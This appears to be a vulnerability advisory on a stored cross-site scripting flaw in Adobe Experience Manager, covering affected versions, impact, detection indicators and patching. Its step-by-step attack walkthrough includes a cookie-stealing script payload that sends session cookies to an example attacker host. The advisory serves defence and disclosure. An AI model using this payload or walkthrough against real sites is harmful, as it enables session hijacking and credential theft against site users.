CVE-2025-64580: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64580 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM Cloud Service versions prior to 2025.12.0, and AEM 6.5 LTS. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization of user-supplied input in AEM form fields. An authenticated attacker with low privileges can store a malicious JavaScript payload in a vulnerable field; the script executes in the browser of any victim who subsequently visits the page containing that field (stored/persistent XSS). Exploitation requires user interaction (a victim browsing to the affected page) and low-level authentication, with the scope of impact extending beyond the originating application context (Adobe Advisory, Feedly Intelligence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope indicator means the impact can extend to other users or components beyond the attacker's own session. Confidentiality and integrity are both affected at a low level per the CVSS assessment, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web application fingerprinting.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS (e.g., a text input or rich-text editor that does not properly sanitize output).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected payload.
6. Harvest results: The victim's browser executes the injected script, sending session cookies, tokens, or other sensitive data to the attacker-controlled server, enabling session hijacking or further lateral movement (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded script sequences in request bodies.
• Logs: AEM error logs or audit logs recording unexpected content modifications or script-like strings stored in page properties or form fields.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unfamiliar external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or token data as query parameters.
• File System / Content Repository: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded equivalents (%3Cscript%3E) within AEM JCR node properties or page content.
• Process/Browser: Unexpected redirects or pop-ups experienced by AEM users when browsing authored content pages.

Adobe has released patched versions addressing CVE-2025-64580: AEM on-premises users should upgrade to 6.5.24.0 or later, and AEM Cloud Service users should ensure their environment is updated to the 2025.12.0 release or later. AEM 6.5 LTS users should apply the corresponding fix as detailed in Adobe's APSB25-115 advisory. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended and primary remediation. Organizations should also review AEM content for any pre-existing stored XSS payloads and audit low-privileged user activity (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this issue, warning that exploitation could allow arbitrary code execution in broader Adobe product context (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or notable social media discussion specific to CVE-2025-64580 has been identified beyond standard patch-Tuesday coverage.